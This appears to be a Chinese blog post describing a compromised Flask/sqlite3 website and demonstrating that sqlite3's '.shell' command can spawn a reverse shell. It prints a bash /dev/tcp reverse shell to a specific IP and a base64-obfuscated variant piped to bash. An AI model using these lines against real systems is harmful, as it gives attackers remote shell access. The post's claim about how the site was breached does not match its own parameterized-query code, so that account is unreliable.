sqlite3 数据库反弹shell
最近支持一个项目,自己用Python写了一个网站,仅仅开放了一个80端口,数据库用的 sqlite3,没有做数据安全校验,运行不到1天,发现被黑客拿下了,我的网站主动连接了黑客的IP地址,疑似反弹shell的操作手法,自己试了一下,sqlite3 数据库还真的能反弹shell。
ailx10
2001 次咨询
4.9
网络安全优秀回答者
互联网行业 安全攻防员
去(知乎ailx10)咨询
(1)调研发现sqlite3竟然支持 shell 命令,可以直接命令执行
(2)sqlite3命令执行,反弹shell
bash -i >& /dev/tcp/144.34.162.13/6666 0>&1
base64编码:
.shell echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMzQuMTYyLjEzLzY2NjYgMD4mMQ==" | base64 --decode | bash
(3)反弹shell成功
我写的那串冤大头代码如下,当时没加 log,想不明白怎么被黑客攻陷的:
from flask import Flask, request, jsonify
import sqlite3
import json
import osapp = Flask(__name__)# 初始化数据库
def init_db():if not os.path.exists('data.db'):with sqlite3.connect('data.db') as conn:cursor = conn.cursor()cursor.execute('''CREATE TABLE IF NOT EXISTS requests (id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT NOT NULL,os TEXT NOT NULL,version TEXT NOT NULL,architecture TEXT NOT NULL,hostname TEXT NOT NULL,processor TEXT NOT NULL,cpu_cores INTEGER NOT NULL,logical_cpus INTEGER NOT NULL,memory TEXT NOT NULL,disk TEXT NOT NULL,ip_address TEXT NOT NULL,mac_address TEXT NOT NULL)''')conn.commit()# 校验请求数据
def validate_data(data):required_fields = ['当前用户名', '操作系统', '系统版本', '系统架构','主机名', '处理器', 'CPU核心数', '逻辑CPU数','内存信息', '磁盘信息', 'IP地址', 'MAC地址']for field in required_fields:if field not in data:return Falsereturn True@app.route('/api', methods=['POST'])
def receive_data():data = request.get_json()# 校验数据if not validate_data(data):return jsonify({"error": "请求数据异常"}), 400# 插入数据到数据库with sqlite3.connect('data.db') as conn:cursor = conn.cursor()cursor.execute('''INSERT INTO requests (username, os, version, architecture, hostname, processor, cpu_cores, logical_cpus, memory, disk, ip_address, mac_address) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)''', (data['当前用户名'],data['操作系统'],data['系统版本'],str(data['系统架构']),data['主机名'],data['处理器'],data['CPU核心数'],data['逻辑CPU数'],str(data['内存信息']),str(data['磁盘信息']),json.dumps(data['IP地址']),json.dumps(data['MAC地址'])))conn.commit()return jsonify({"message": "数据成功接收"}), 200if __name__ == '__main__':init_db() # 初始化数据库app.run(host='0.0.0.0', port=80)
后续我对代码进行了优化,记录了大量的漏洞扫描IP(傀儡机),主要是Wordpress的扫描探测
网站服务器上检测没有 rootkit[1] ,所有命令输出是准确的,排查了定时任务等,黑客没有后续的恶意行为
参考
- ^chkrootkit chkrootkit -- locally checks for signs of a rootkit
发布于 2024-09-24 19:09・江苏